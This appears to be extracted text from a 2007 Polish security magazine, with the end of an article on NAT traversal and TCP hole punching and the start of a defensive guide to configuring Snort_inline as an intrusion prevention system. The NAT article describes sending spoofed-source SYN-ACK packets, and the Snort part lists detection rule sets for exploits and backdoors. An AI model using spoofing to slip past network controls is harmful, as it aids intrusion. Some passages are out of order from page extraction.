modyfikuje portów źródłowych przy
translacji). Podobne informacje otrzy-
muje host B. Teraz A i B mogą doko-
nać próby połączenia bezpośrednie-
go. A łączy się do publicznego inter-
fejsu hosta B używając portu 3000
jako źródłowego. Podobnie postępu-
je B. Jeśli NAT nie jest symetryczny,
to powinien użyć portu 3000 przy łą-
czeniu się z A do publicznego inter-
fejsu B. W momencie przechodzenia
pakietu z ustawioną flagą SYN przez
router, NAT zapamiętuje informację o
mapowaniu i będzie wpuszczał pakie-
ty, które pochodzą od NAT drugiego
hosta. Przebieg nawiązywania połą-
czenia jest w większości identyczny
jak w przypadku komunikacji za po-
mocą UDP.
Kolejność wysyłania i odbiera-
nia pakietów ma tutaj dość duże zna-
czenie. Mogą tutaj zajść następują-
ce przypadki:
• Pakiet z SYN komputera A dotrze
do R2 przed wysłaniem przez B
pakietu inicjalizującego połączenie
do A (lub przypadek odwrotny);
• A i B wyślą pakiety równocześnie
co spowoduje, że B otrzyma pa-
kiet z SYN pochodzący od A i vi-
ce versa. Jeśli pakiety są ideal-
nie zsynchronizowane w czasie,
dochodzi do tak zwanego równo-
ległego otwarcia połączenia.
W jednym i drugim przypadku zajdzie
sytuacja, w której host posiadający
gniazdo nasłuchujące na porcie P
i próbujący nawiązać połączenie uży-
wając portu P jako źródłowego otrzy-
ma pakiet z ustawioną flagą SYN.
W zależności od implementacji stosu
TCP/IP przychodzący pakiet zosta-
nie skojarzony albo z gniazdem na-
słuchującym, albo z gniazdem, które
próbowało nawiązać połączenie. Nie
mniej jednak oba przypadki dopro-
wadzają do nawiązania połączenia.
W pierwszym przypadku – pakiet zo-
stanie zinterpretowany jako próba na-
wiązania połączenia. W odpowiedzi
zostanie odesłany pakiet z ustawioną
flagą SYN-ACK. Funkcja connect wy-
wołana na maszynie, która zaakcep-
towała połączenie, zwróci błąd, gdyż
adresy i porty źródłowe oraz docelo-
we są używane przez inne połącze-
nie. W przypadku, gdy pakiet SYN zo-
stanie skojarzony z gniazdem próbu-
jącym nawiązać połączenie, gniazdo
nasłuchujące nie będzie w ogóle wy-
korzystywane. Funkcja connect zwróci
status świadczący o udanym połącze-
niu. Pakiet, który został wysłany przez
drugą maszynę nie zawierał flagi ACK,
więc stos TCP/IP wyśle pakiet z usta-
wionymi flagami SYN-ACK (zacho-
wując oryginalny i ustawiając własny
numer sekwencyjny pakietu). Druga
strona, w momencie odebrania pakie-
tu z ustawionymi flagami SYN-ACK,
potwierdza synchronizację numerów
sekwencyjnych, a całe połączenie jest
gotowe do „użytku”.
Przy stosowaniu tej techniki mo-
że dojść do sytuacji, w której oba
hosty wyślą w tym samym czasie pa-
kiet SYN do siebie, a następnie oba
jednocześnie potwierdzą otrzyma-
ne numery sekwencyjne pakietem
SYN-ACK a następnie ACK. Imple-
mentacje TCP/IP różnie radzą sobie
z tą sytuacją. Możliwa jest sytuacja, w
której z obu stron wywołania connect
się nie powiodą, natomiast połącze-
nie zostanie „magicznie stworzone”
gniazdami nasłuchującymi (po obu
stronach accept się powiedzie).
Stosowanie tej techniki pociąga
za sobą konieczność istnienia dwóch
gniazd przypiętych do tego samego
portu. Niektóre systemy tego nie po-
trafią u muszą w zamian użyć sekwen-
cyjnej wersji wyżej opisanego algoryt-
mu. Host A zgłasza chęć połączenia
się z B poprzez serwer C. B wykonuje
połączenie do publicznego interfejsu A.
Połączenie to się nie udaje, ponieważ
R1 nie wpuszcza pakietów od B. Na-
stępnie B tworzy gniazdo nasłuchujące
i czeka na połączenia od A. Jeśli NAT
po stronie B nie zlikwiduje wpisów o
połączeniu
B->A
w momencie niepowo-
dzenia połączenia, to A może zerwać
połączenie z C i dokonać próby połą-
czenia się na publiczny interfejs B (uży-
wając tego samego portu źródłowego,
którego używał łącząc się z C). NAT po
stronie B powinien wpuścić żądanie A
umożliwiając gniazdu nasłuchującemu
komputera B nawiązanie połączenia.
Wprawny czytelnik niewątpliwie
zauważy, że skoro NAT R1 i R2 nie
zmieniają portów źródłowych to po-
średnik C nie jest potrzebny. Uwaga
ta jest słuszna zarówno dla protoko-
łu UDP jak i również TCP. Jeśli tyl-
ko hosty A i B znają adresy swoich
publicznych interfejsów, ustaliły port,
na którym chcą dokonać połączenia
i zaczną całą operację w tym samym
czasie – połączenie zostanie zreali-
zowane. W przypadku braku transla-
cji portu pośrednik służy wyłącznie
do wymiany informacji o adresach IP
i synchronizacji całej operacji.
TCP – inne podejście
Złożoność protokołu TCP sprawia, że
istnieją alternatywne podejścia do te-
go prezentowane wyżej. Podobnie jak
w przypadku UDP można posłużyć się
metodą polegającą na ustaleniu takiej
wartości TTL, aby pakiet mógł swo-
bodnie opuścić sieć lokalną, ale na ty-
le małej, aby nie dotarł do routera do-
celowego. Gdy oba hosty wyślą takie
pakiety, spowoduje to skonfigurowa-
nie ich routerów NAT tak, aby akcep-
towały pakiety należące do przyszłe-
go połączenia. Po otwarciu „tunelów”
w NAT można postąpić na trzy sposo-
by. Pierwszy polega na poinformowa-
niu przez A oraz B serwera pośredni-
czącego o numerach sekwencyjnych
użytych do otwarcia tunelu. Następnie
serwer pośredniczący wysyła dwa pa-
kiety ze sfałszowanymi adresami źró-
dłowymi. Pakiet y mają ustawione fla-
gi SYN-ACK i ich zadaniem jest zasy-
mulowanie drugiego etapu połączenia
A z B i B z A. Stosowanie tej techni-
ki pociąga za sobą konieczność zna-
lezienia ISP, który pozwala na wysy-
łanie sfałszowanych ramek, co może
stanowić największy problem. Kolejny
pomysł polega na tym, aby po otwar-
Wszystko o NAT
hakin9 Nr 1/2007
www.hakin9.org
57
Tekst wprowadzony do okienka ter-
minala hosta B zostanie odebrany
przez serwer A oraz odesłany z po-
wrotem do klienta B.
Czarne chmury na
horyzoncie i nie tylko
Jeśli NAT posiada maszynę stano-
wą, za pomocą której filtruje pakie-
ty, które nie powinny zostać przetwo-
rzone w danym stanie, to możliwe jest,
że nie uda nam się nawiązać połącze-
nia. Na przykład, jeśli jedynie akcep-
towalną przez NAT sekwencją pakie-
tów jest SYN, SYN-ACK, ACK, to NAT
nie zaakceptuje drugiego przychodzą-
cego pakietu SYN prezentowanego w
drugim podejściu czy wychodzącego
pakietu SYN-ACK z trzeciego podej-
ścia, nie mówiąc już o metodzie, któ-
ra nie stosuje metody z TTL. Kolejny
problem może stwarzać interpretowa-
nie pakietów ICMP oraz tych z usta-
wioną flagą RST, które mogą spowo-
dować zmianę wewnętrzną stanu po-
łączenia w NAT. Ale warto mieć na
uwadze, że nawet najbardziej opor-
ne NAT można w sprzyjających wa-
runkach „przebić”. Wystarczy zastoso-
wać mechanizmy przewidywania por-
tów, dobrze zsynchronizować moment
nawiązywania połączenia lub zmodyfi-
kować stos TCP/IP po stronie klientów
tak, aby był w stanie nawiązywać po-
łączenia TCP pozwalając na małe od-
stępstwa od zasad protokołu. Opisa-
nie wszystkich pomysłów, które wyko-
rzystywano do przebijania NAT zajęło-
by znacznie więcej miejsca niż niniej-
szy artykuł, a nawet wystarczyłoby na
małą książkę.
Czekając na koniec świata
Przebijanie mechanizmu translacji
adresów i portów jest bardzo ciekawą
i edukującą czynnością.
Można nauczyć się wiele nie tyl-
ko o mechanizmie działania NAT,
ale również poznać zasady rządzą-
ce stosami TCP/IP. Producenci opro-
gramowania oraz urządzeń VoIP wy-
korzystują wyżej wymienione techniki
w swoich rozwiązaniach praktycz-
nie od momentu, kiedy technologia
ta stała się powszechnie stosowana.
Problem nawiązywania bezpośred-
nich połączeń jest zatem aktualny. l
ciu tunelu w NAT przez host A (pa-
kietem SYN), wyłącznie host B doko-
nał próby bezpośredniego połączenia
się do publicznego interfejsu hosta A.
W odróżnieniu od poprzedniego sposo-
bu, pośrednik służy wyłącznie do syn-
chronizacji. Trzecie podejście wymaga
otwarcia tunelu po obu stronach – za-
równo NAT hosta A jak i B. Dodatkowo
wymagana jest wymiana poprzez po-
średnika informacji o numerach se-
kwencyjnych użytych do otwarcia
„tunelu”. Następnie hosty A oraz B
wysyłają po jednym pakiecie każdy.
Pakiet powinien posiadać ustawio-
ne flagi SYN-ACK oraz numer se-
kwencyjny zdalnej maszyny uzyskany
od pośrednika. Jedna z wyżej opisa-
nych metod została zaimplementowa-
na w bibliotece XSTUNT. Do tworze-
nia bezpośrednich połączeń wykorzy-
stuje ona pośredniczący który oprócz
synchronizacji służy również do wykry-
cia typów NAT łączących się klientów.
Serwer do poprawnego działania wy-
maga dwóch adresów IP, które wyko-
rzystywane one są do określenia typu
NAT. Aby uruchomić serwer wystarczy
wydać polecenie:
./XSTUNTServer 157.158.180.200
157.158.180.201
Na stronie XSTUNT dostępny jest
przykład klienta oraz serwera biblio-
teki. Serwer rejestruje się w kompu-
terze pośredniczącym i oczekuje na
połączenie od klienta. Klient łącząc
się do serwera (poprzez pośrednika)
wysyła do niego tekst wprowadzany
interaktywnie z klawiatury. Serwer
odebrawszy dane od klienta wysyła
je z powrotem do klienta. Oczywiście
połączenie pomiędzy klientem a ser-
werem jest połączeniem bezpośred-
nim pomiędzy sieciami lokalnymi.
Aby sprawdzić działanie przykła-
du ze strony wystarczy na hoście A
wydać polecenie:
./xecho server to_jest_id_mojego_
serwera 157.158.180.200 157.158.180.201
Natomiast na komputerze B nale-
ży uruchomić ten sam program lecz
z innymi parametrami:
./xecho client client_id to_jest_id_
mojego_serwera 157.158.180.200
157.158.180.201
O autorze
Konrad Malewski, absolwent informa-
tyki Politechniki Śląskiej. Obecnie dok-
torant informatyki na AGH. Administra-
tor amatorskich sieci komputerowych.
Zarówno w pracy jak i prywatnie intere-
suje się programowaniem oraz bezpie-
czeństwem aplikacji sieciowych.
Kontakt z autorem:
kmalewski@gmail.com
Terminologia
• NAT – (ang. Network Address Translation), zwana także „maskaradą”. Usługa
działająca na routerze pozwalająca komputerom w sieci lokalnej na transparentny
dostęp do innej sieci (zazwyczaj Internet). Czasami można spotkać się ze stwier-
dzeniem host NAT, host za NATem. W pierwszym przypadku chodzi po prostu o
komputer, na którym działa usługa NAT. Drugie określenie jest wykorzystywane
do określenia komputera korzystającego z tejże usługi.
• STUN – (ang. Simple Traversal of User Datagram Protocol Through Network Ad-
dress Translators). Generalnie oznacza protokół, dzięki któremu host za NAT mo-
że wykryć swój publiczny adres, typ NAT, sposób mapowania jego połączeń etc.
Mianem tym określa się również technikę tworzenia połączeń pomiędzy sieciami
lokalnymi za pomocą protokołu UDP.
• TURN – (ang. Traversal Using Relay NAT). Protokół za pomocą którego dwa ho-
sty znajdujące się w różnych sieciach lokalnych przesyłają do siebie dane wyko-
rzystując pośrednika.
Pakiet SYN, Pakiet SYN-ACK, Pakiet ACK – Nagłówek protokołu TCP posiada pola
będące flagami, które wykorzystywane są między innymi do nawiązywania, kończenia
oraz synchronizacji połączenia. Pakiet SYN stanowi wiadomość TCP z ustawioną flagą
SYN. Pakiety SYN-ACK oraz pakiet ACK analogicznie.
www.hakin9.org
hakin9 Nr 1/2007
58
Obrona
S
nort to w zasadzie system detekcji wła-
mań (ang. Intrusion Detection System,
IDS), jego natywny tryb działania opiera
się więc na wykorzystaniu karty sieciowej nasłu-
chującej ruchu w danym segmencie sieci.
Aby Snort_inline był w stanie przetwarzać
ruch w segmencie sieci musi on zostać niewi-
dzialnie weń włączony, za pomocą dwóch kart
sieciowych w trybie mostka (ang. bridge) oraz
funkcjonalności inline. Funkcjonalność tę za-
pewnia nam kolejkowanie ruchu poprzez ipta-
bles (
ip _ queue
); nie jest to jednak wszystko,
musimy bowiem wiedzieć także, na poziomie ip-
tables, który ruch kolejkować. Dzięki temu trybo-
wi pracy Snort_inline może on zachowywać się
jak każdy inny system zapobiegania włamaniom
(ang. Intrusion Prevention System, IPS) i bloko-
wać nawiązywane połączenia. Aby Snort mógł
działać jako system zapobiegania włamaniom
musi on zostać skompilowany z opcją pobiera-
nia flex-response, co pozwala mu na resetowa-
nie ruchu, który ma być blokowany.
Podsumowując, możemy stwierdzić że
Snort_inline to zdecydowanie najefektywniej-
szy i najdokładniejszy tryb, jako że odrzuca
on ruch w sieci na podstawie załadowanych
uprzednio reguł.
Snort_inline w sieci lokalnej
Pierwsza część niniejszego artykułu poświę-
cona będzie krótkiemu wprowadzeniu do za-
gadnienia Snort_inline w sieci lokalnej. Zakła-
damy, że ruch w LANie zorientowany jest głów-
nie na klientów. Na tej podstawie zdefiniować
można następujące klasy ruchu w sieci:
• poczta, klienci WWW, p2p, komunikatory,
spyware, malware, wirusy, trojany, vpn.
Wspólną cechą wszystkich tych typów z punk-
tu widzenia IDS / IPS jest, że nie możemy prze-
twarzać ruchu zaszyfrowanego; oznacza to
brak na liście usług vpns oraz ssl.
Snort_inline
Pierpaolo Palazzoli, Matteo Valenza
stopień trudności
Wykorzystanie Snort_inline okazało się skuteczną strategią
na zabezpieczenie sieci wewnętrznych, DMZ oraz domowych,
w przypadku wielu różnych środowisk i scenariuszy. Aby
narzędzie to działało poprawnie w trybie drop powinno ono
adaptować się do właściwości środowiska, które chroni.
Z artykułu dowiesz się...
• jak działa Snort_inline,
• podstaw systemów zapobiegania włamaniom,
• jak dostrajać konfigurację Snort_inline.
Powinieneś wiedzieć...
• podstawy TCP/IP w środowisku Linux,
• podstawowe zasady działania IDSów.
Snort_inline jako rozwiązanie
hakin9 Nr 1/2007
www.hakin9.org
59
Rysunek 1 pokazuje poprawne
rozwiązanie dla ochrony tego rodza-
ju, w którym IPS umieszczony po-
między routerem, a resztą sieci po-
zwala nam analizować ruch, który
chcemy monitorować bądź ochra-
niać.
Po poprawnym przygotowaniu
urządzenia musimy dowiedzieć się,
jakie reguły i preprocesory Snorta
będziemy wykorzystywać.
Załóżmy, że konfiguracja Snorta
znajduje się w pliku snort_inline.conf
– na przykład taka, jak dostępna
pod adresem www.snortattack.org/
mambo/script/snort_inline.conf
– i że dla sieci lokalnej zawiera ona
preprocesory jak pokazano na Li-
stingu 1.
Preprocesory dla sieci
lokalnych
Preprocesory te przedstawia Li-
sting 1. Poniżej znajdziecie krótki
opis poszczególnych wymienionych
w nim komponentów i funkcji.
Clamav – procesor ten insta-
lowany jest jedynie wtedy, gdy zo-
stał wybrany podczas instalacji
(
--enable-clamav
). Dokonuje on skano-
wania w poszukiwaniu wirusów z bazy
danych Clamava i upewnia się, że nie
są one zaszyfrowane bądź spakowa-
ne. Preprocesor ten niezmiernie wy-
dajnie blokuje e-maile zainfekowane
na potrzeby phishingu. Wykorzystuje
on następujące funkcje:
•
ports
– lista portów do skanowa-
nia (all, !22 – oprócz 22, 110 – tyl-
ko 110)
•
toclientonly
– określa kierunek
skanowanego ruchu
•
action-drop
– informuje urządze-
nie, jak reagować na wirusy
•
dbdir
– katalog zawierający bazę
danych definicji Clamava
•
dbreloadtime
– co ile czasu baza
powinna zostać przeładowana
Perfmonitor – preprocesor ten po-
zwala nam na zapisywanie w postaci
tekstowej wszelkich statystyk zwią-
zanych z wydajnością oraz przepły-
wem danych w sieci. Jest on krytycz-
ny dla poprawnego funkcjonowania
narzędzia pmgraph, o którym powie-
my więcej później. Również i ten pre-
procesor należy uruchomić podczas
instalacji (
--enable-perfmon
). Posia-
da następujące funkcje:
•
time –
czas niezbędny do prób-
kowania odczytu danych
Scenariusze dla Snort_inline
Należy zauważyć, że system zorientowany na blokowanie włamań powinien być odpo-
wiednio skonfigurowany i gotowy do adaptacji do dowolnych scenariuszy sieciowych
i rodzajów ruchu. Korzystanie z IPS w trybie inline nie rozwiązuje wszystkich proble-
mów z bezpieczeństwem, pozwala za to na stworzenie scentralizowanego, dynamicz-
nego i wydajnego systemu bezpieczeństwa. IPS powinien wykrywać ruch do i z chro-
nionego źródła. Dzięki interfejsom sieciowym działającym w trybie mostka możemy
niezauważalnie włączyć urządzenie w sieć i w ten sposób zebrać wszelkie niezbędne
dane. Do stworzenia urządzenia inline potrzebna jest nam wiedza o wszelkich właści-
wościach chronionej sieci – od warstwy sieci po warstwę aplikacji.
Poniżej opiszemy kilka przykładów rodzajów segmentów sieciowych, w których
implementacja IPS w trybie inline mogłaby przynieść korzyści zwiększając bezpie-
czeństwo całego systemu:
• sieć wewnętrzna; grupa klientów obsługujących WWW, pocztę, komunikatory, p2p
itd. (Rysunek 1),
• DMZ; grupa serwerów zapewniających usługi powiązane z Internetem (smtp, web,
ftp, pop3, imap, mysql itd.) (Rysunek 2),
• LAN + DMZ (Rysunek 3).
Przede wszystkim powinniśmy na jakiś czas uruchomić Snort_inline w trybie IDS (Alert),
który to czas proporcjonalny jest do rozmiaru sieci (innymi słowy, im większa liczba sys-
temów w niej, tym więcej potrzeba czasu). W okresie tym powinniśmy:
• wychwycić awarie (problemy z wydajnością bądź składowaniem danych, spowol-
nienia itd.),
• przeanalizować ruch w sieci pod kątem fałszywych alarmów.
W ten sposób obserwując zebrane dane możemy dokonać zmian w konfiguracji i zop-
tymalizować działanie urządzenia. Warto zauważyć, że w porównaniu z rozwiązania-
mi komercyjnymi implementacja otwartego IPS może nie być tak prosta, jak się to mo-
że wydawać, możesz mieć zatem pewne problemy z usuwaniem wielu fałszywych alar-
mów na pierwszym etapie procedury dostrajania.
Sugerujemy instalację Snort_inline na dedykowanym komputerze i odpowiednią
organizację jego zasobów sprzętowych (CPU, RAM), według następujących, prostych
zasad: większa liczba reguł wymaga więcej RAMu, zaś duża intensywność ruchu w
sieci zwiększa obciążenie procesora.
Niedawne testy sieciowe pokazały, że do zabezpieczenia połączenia ADSL
(1280/256) potrzebny jest system Geode o częstotliwości zegara 266 MHz i z 128 MB
RAMu (w przypadku tysiąca reguł). Dla pasm o szerokości większej niż 1 Mbps zale-
camy Pentium 4 1 GHz z 512 MB RAM (w przypadku trzech tysięcy reguł).
Rysunek 1.
Ustawiamy urządzenie
w sieci lokalnej
hakin9 Nr 1/2007
www.hakin9.org
Obrona
60
•
File –
ścieżka do pliku z danymi
•
pkcnt –
maksymalna liczba re-
kordów, jaka może znaleźć się w
jednym pliku
Flow – preprocesor ten potrzebny
jest do działania innych preproce-
sorów, takich jak
flowbits detection
plug-in
czy
flow-portscan
. W skrócie,
preprocesor Flow pozwala Snortowi
przechowywać mechanizmy akwi-
zycji danych. Ma następujące funk-
cje:
•
stats _ interval
– parametr ten
określa przedziały czasu, w se-
kundach, w których Snort będzie
zrzucać statystyki na standardo-
we wyjście.
•
Hash
– parametr ten określa me-
todę mieszania. Wartość 1 defi-
niuje mieszanie po bajcie, war-
tość 4 – mieszanie po liczbie cał-
kowitej.
Stream 4 – preprocesor ten daje
Snortowi umiejętność widzenia pod-
stawowych właściwości pakietów
oraz to, gdzie został wygenerowany
(klient czy serwer). Cytując Marty-
'ego Roescha: Zaimplementowałem
stream4 na skutek chęci uzyskania
potężniejszych mechanizmów po-
nownego składania strumieni i obro-
ny przed najnowszymi 'atakami bez-
stanowymi. Wykorzystuje następują-
ce funkcje:
•
disable _ evasion _ alerts
– wy-
łącza alarmy zapisywane przez
stream4
•
midstream _ drop _ alerts
– na-
kazuje preprocesorowi blokowa-
nie połączeń generowanych bez
tworzenia danego strumienia.
Rpc decode – preprocesor ten po-
nownie składa strumienie rpc z po-
jedynczych pakietów celem ułatwie-
nia ich analizy, jeżeli obecny jest pre-
procesor stream4 możliwe jest prze-
twarzanie tylko ruchu wychodzące-
go od klientów.
Telnet decode – preprocesor
ten normalizuje przepływ znaków
w sesjach protokołu telnet. Nale-
ży podać mu porty, które ma prze-
twarzać.
Reguły dla sieci lokalnych
Kiedy już zdefiniowaliśmy preproce-
sory, Snort potrzebuje określenia w
konfiguracji odpowiednich reguł. Ist-
nieje wiele różnych rodzajów reguł:
•
alert
– generuje komunikat alar-
mowy, a następnie odnotowu-
je go go w pliku bądź bazie da-
nych.
•
log
– zapisuje do pliku bądź bazy
danych.
•
pass
– ignoruje wybrany przez
siebie ruch.
•
drop
– za pomocą iptables odrzu-
ca pakiet, a następnie odnotowu-
je go w pliku bądź bazie danych
•
reject
– w przypadku TCP; połą-
czenie jest resetowane z pomocą
iptables, w przypadku UDP wy-
syłany jest komunikat icmp host
unreachable; następnie zdarze-
nie odnotowywane jest w pliku
bądź bazie danych
•
sdrop
– odrzuca pakiet za pomo-
cą iptables nie logując go.
W przedstawionym tutaj przykła-
dzie zadaniem reguły jest blokowa-
nie miosito.com; jest to część zbio-
ru reguł służącego blokowaniu ru-
chu kierowanego do sieciowych ka-
syn nieprzestrzegających reguł wło-
skiego prawa. Funkcja
drop
określa
działanie, które iptables musi wyko-
nać jak tylko reguła zostanie zasto-
sowana.
Listing 1.
Zalecane preprocesory dla sieci lokalnej
preprocessor perfmonitor: time 60 file/var/log/snort/perfmon.txt pktcnt 500
preprocessor flow:stats_interval 0 hash 2
preprocessor stream4_reassemble: both
preprocessor stream4: disable_evasion_alerts
midstream_drop_alerts
preprocessor clamav:ports all !22 !443,toclientonly, action-drop,dbdir /var/lib/clamav,dbreload-time 43200
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
Tryb mostka
Ustawienie dwóch kart w tryb mostka oznacza połączenie ich funkcjonalności w
warstwie drugiej, co czyni je przezroczystymi dla ruchu w sieci. W trybie tym pa-
kiety przekazywane są z jednej karty do drugiej, co pozwala na poprawne przeka-
zywanie ruchu. Aby uruchomić ten tryb pod Linuksem należy wykonać następują-
ce operacje:
Instalujemy pakiet
bridge-utils
-
apt-get install bridge-utils
; potrzebne
będzie jądro w wersji 2.6, w przeciwnym razie należy ponownie skompilować jądro
wersji 2.4 włączywszy uprzednio moduł mostka. Mostek pomiędzy dwoma kartami
sieciowymi można zestawić następująco:
/usr/sbin/brctl addbr br0
/usr/sbin/brctl addif br0 eth0
/usr/sbin/brctl addif br0 eth1
/sbin/ifconfig br0 up
Adres MAC przypisany br0 będzie taki sam, jak adres pierwszego interfejsu, który zo-
stał z nim skojarzony.
Snort_inline jako rozwiązanie
hakin9 Nr 1/2007
www.hakin9.org
61
drop tcp $home_net any ->
any $http ports (
msg:"snortattack-italian-law";
flow:established;content: "miosito.com";
classtype:policy-violation;
reference:url,
www.snortattack.net;
)
Przeznaczeniem konfiguracji przed-
stawionej na Listingu 2 jest kontro-
la aplikacji p2p, ochrona przed ata-
kami z wewnątrz (które to ataki sta-
nowią niemal 70% wszystkich ata-
ków), a przede wszystkim selekcja
treści oglądanych przez wewnętrz-
ne hosty.
Snort_inline w DMZ
Drugą część artykułu poświęcimy
krótkiemu wprowadzeniu do zagad-
nienia Snort_inline w DMZ.
Jak wspomnieliśmy wcześniej,
ruch sieciowy w DMZ z założenia
dotyczyć będzie głównie serwe-
rów. Na tej podstawie zdefiniować
możemy następujące klasy ruchu
w DMZ:
• serwer poczty, serwer WWW,
serwer bazodanowy, serwer apli-
kacji, wirus, vpn.
Jednym z możliwych rozwiązań
dla tego rodzaju segmentów sie-
ciowych jest umieszczenie weń
IPS. Tym razem system umiesz-
czony będzie pomiędzy routerem,
a DMZ.
Preprocesory dla sieci DMZ
Jedynym preprocesorem, którego
konfiguracja uległa zmianie jest Cla-
mav – ważne jest zdefiniowanie dlań
parametru
toserveronly
aby wybrać
jedynie ruch skierowany do serwe-
rów. Patrz Listing 3.
Frag3 – preprocesor ten zastę-
puje frag2 i jest niezbędny do re-
konstrukcji strumienia danych roz-
członkowanego wskutek fragmenta-
cji transmisji.
Reguły dla sieci DMZ
Po zdefiniowaniu wszystkich pre-
procesorów musimy podać Snortowi
trochę reguł. Poniżej znajdziesz kilka
ich zastosowań:
•
max _ frags
– maksymalna liczba
śledzonych fragmentów
•
policy
– wybiera sposób frag-
mentacji, dostępne metody to
first, ast, bsd, bsd-right, linux.
Domyślnym ustawieniem jest
bsd.
•
detect _ anomalies
– wykrywa
błędy fragmentacji.
Reguły zalecane do użytku w sieci
DMZ przedstawia Listing 4.
Listing 2.
Lista przydatnych reguł do ochrony sieci lokalnej
# Ogólne
include
/
etc
/
snort_inline
/
rules
/
bleeding
.
rules
# Głównie spyware
include
$
RULE_PATH
/
bleeding
-
malware
.
rules
include
$
RULE_PATH
/
malware
.
rules
include
$
RULE_PATH
/
spyware
-
put
.
rules
# Eksploity i ataki bezpośrednie
include
$
RULE_PATH
/
exploit
.
rules
include
$
RULE_PATH
/
bleeding
-
exploit
.
rules
include
$
RULE_PATH
/
community
-
exploit
.
rules
# DOS
include
$
RULE_PATH
/
dos
.
rules
include
$
RULE_PATH
/
ddos
.
rules
include
$
RULE_PATH
/
bleeding
-
dos
.
rules
# Dotyczące WWW
include
$
RULE_PATH
/
web
-
client
.
rules
include
$
RULE_PATH
/
community
-
web
-
client
.
rules
# Sygnatury poczty
include
$
RULE_PATH
/
community
-
-
client
.
rules
# Trojany, wirusy oraz spyware
include
$
RULE_PATH
/
virus
.
rules
include
$
RULE_PATH
/
bleeding
-
virus
.
rules
include
$
RULE_PATH
/
community
-
virus
.
rules
# Peer to peer
include
$
RULE_PATH
/
p2p
.
rules
include
$
RULE_PATH
/
bleeding
-
p2p
.
rules
Rysunek 2.
Przykład sieci DMZ
hakin9 Nr 1/2007
www.hakin9.org
Obrona
62
Snort w sieci mieszanej
Jeżeli chodzi o urządzenie w sie-
ci mieszanej (pokazanej na Rysun-
ku 3), zalecamy następujące urzą-
dzenia.
Preprocesory dla sieci miesza-
nej znaleźć można na Listingu 5, od-
powiednie reguły zaś przedstawia
Listing 6. Przeznaczeniem opisanej
w nich konfiguracji jest kontrola wi-
rusów oraz ochrona maszyn przed
atakami z zewnątrz w oparciu o blo-
kowanie eksploitów wymierzonych
w usługi. Kilka różnych technik ata-
ku przedstawimy później, na bazie
praktycznych przykładów.
Monitorowanie ataków
i zarządzanie regułami
Interfejsy, które przeanalizujemy
i opiszemy, opierają się na bazach
danych. W zasadzie, wszystkie wy-
niki ze Snorta składowane będą
w różnego rodzaju bazach danych:
mysql, postgres itp.
Narzędzia te różnią się między
sobą i są napisane w różnych języ-
kach, jednak ogólnie rzecz biorąc
wszystkie robią to samo. Są to: ACID,
BASE, PLACID, SNORT REPORT,
SGUIL itd.
Narzędzia te, napisane w PHP
bądź Pythonie, mają krytyczne zna-
czenie dla dobrego IPS / IDS – kry-
tyczną jest bowiem wiedza o tym,
co dzieje się z naszym urządzeniem
i naszą siecią. Interfejsy te bar-
dzo prosto się instaluje, wystarczy
rozpakować archiwa i wyedytować
odpowiednie pliki konfiguracyjne
tak, by narzędzia łączyły się z bazą
danych Snorta.
Tutaj zdecydowaliśmy się przyj-
rzeć dwóm z nich: BASE oraz PLA-
CID.
Pierwsze z nich jest pochod-
ną ACID (Analysis Console for In-
trusion Database); BASE to skrót
od Basic Analysis and Security
Engine (patrz Rysunek 4). Narzę-
dzie to pozwala na przeglądanie
i przetwarzania bazy danych Snor-
ta i jest napisane w PHP. Jego siłą
jest wiele opcji badawczych oraz
możliwość grupowania alarmów
na podstawie ich adresów IP, jak
również innych parametrów, takich
jak czas bądź rodzaj reguły.
Podstawowa implementacja jest
półautomatyczna, wystarczy rozpa-
kować archiwum tar.gz w domyśl-
nym katalogu Apache'a (
/var/www/
),
zmienić właściciela utworzone-
go weń folderu oraz przejść do je-
go pierwszego poziomu za pomo-
cą przeglądarki. Zautomatyzowa-
na procedura przeprowadza nas
przez tworzenie niezbędnych tabel
i pozwala rozpocząć korzystanie
z aplikacji.
tar -zxvf base-1.2.4.tar.gz
mv base-1.2.4 base
mv base /var/www
chown apache. /var/www/base
PLACID
PLACID napisany został w Pytho-
nie i jest, podobnie jak BASE, prze-
glądarką zdarzeń w bazie danych.
Zapewnia taką samą funkcjonal-
ność jak BASE, jednak stwierdzo-
no, że działa szybciej w przypadku
większych baz danych.
Instalacja PLACID nie jest
taka prosta, trzeba zainstalować
Pythona 2.3 oraz określić w pli-
ku konfiguracyjnym Apache'a kilka
niezbędnych do poprawnego dzia-
łania parametrów:
Listing 3.
Lista preprocesorów dla sieci DMZ
Preprocesory dla DMZ
preprocessor perfmonitor: time 60 file /var/log/snort/perfmon.txt pktcnt 500
preprocessor flow: stats_interval 0 hash 2
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy first detect_anomalies
preprocessor stream4: disable_evasion_alerts detect_scans inline_state
preprocessor stream4_reassemble: both
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/
clamav, dbreload-time 43200
Listing 4.
Lista reguł zalecanych dla DMZ
include
$
RULE_PATH
/
bad
-
traffic
.
rules
include
$
RULE_PATH
/
exploit
.
rules
include
$
RULE_PATH
/
scan
.
rules
include
$
RULE_PATH
/
dos
.
rules
include
$
RULE_PATH
/
ddos
.
rules
include
$
RULE_PATH
/
dns
.
rules
include
$
RULE_PATH
/
web
-
cgi
.
rules
include
$
RULE_PATH
/
web
-
iis
.
rules
include
$
RULE_PATH
/
web
-
misc
.
rules
include
$
RULE_PATH
/
web
-
php
.
rules
include
$
RULE_PATH
/
community
-
web
-
php
.
rules
include
$
RULE_PATH
/
netbios
.
rules
include
$
RULE_PATH
/
attack
-
responses
.
rules
include
$
RULE_PATH
/
mysql
.
rules
include
$
RULE_PATH
/
virus
.
rules
include
$
RULE_PATH
/
web
-
attacks
.
rules
include
$
RULE_PATH
/
backdoor
.
rules
include
$
RULE_PATH
/
bleeding
-
virus
.
rules
include
$
RULE_PATH
/
bleeding
-
attack_response
.
rules
include
$
RULE_PATH
/
bleeding
-
dos
.
rules
include
$
RULE_PATH
/
bleeding
-
exploit
.
rules
include
$
RULE_PATH
/
bleeding
-
malware
.
rules
include
$
RULE_PATH
/
bleeding
-
scan
.
rules
include
$
RULE_PATH
/
bleeding
-
web
.
rules
include
$
RULE_PATH
/
community
-
exploit
.
rules
include
$
RULE_PATH
/
community
-
ftp
.
rules
include
$
RULE_PATH
/
community
-
web
-
misc
.
rules
include
$
RULE_PATH
/
community
-
smtp
.
rules
Snort_inline jako rozwiązanie
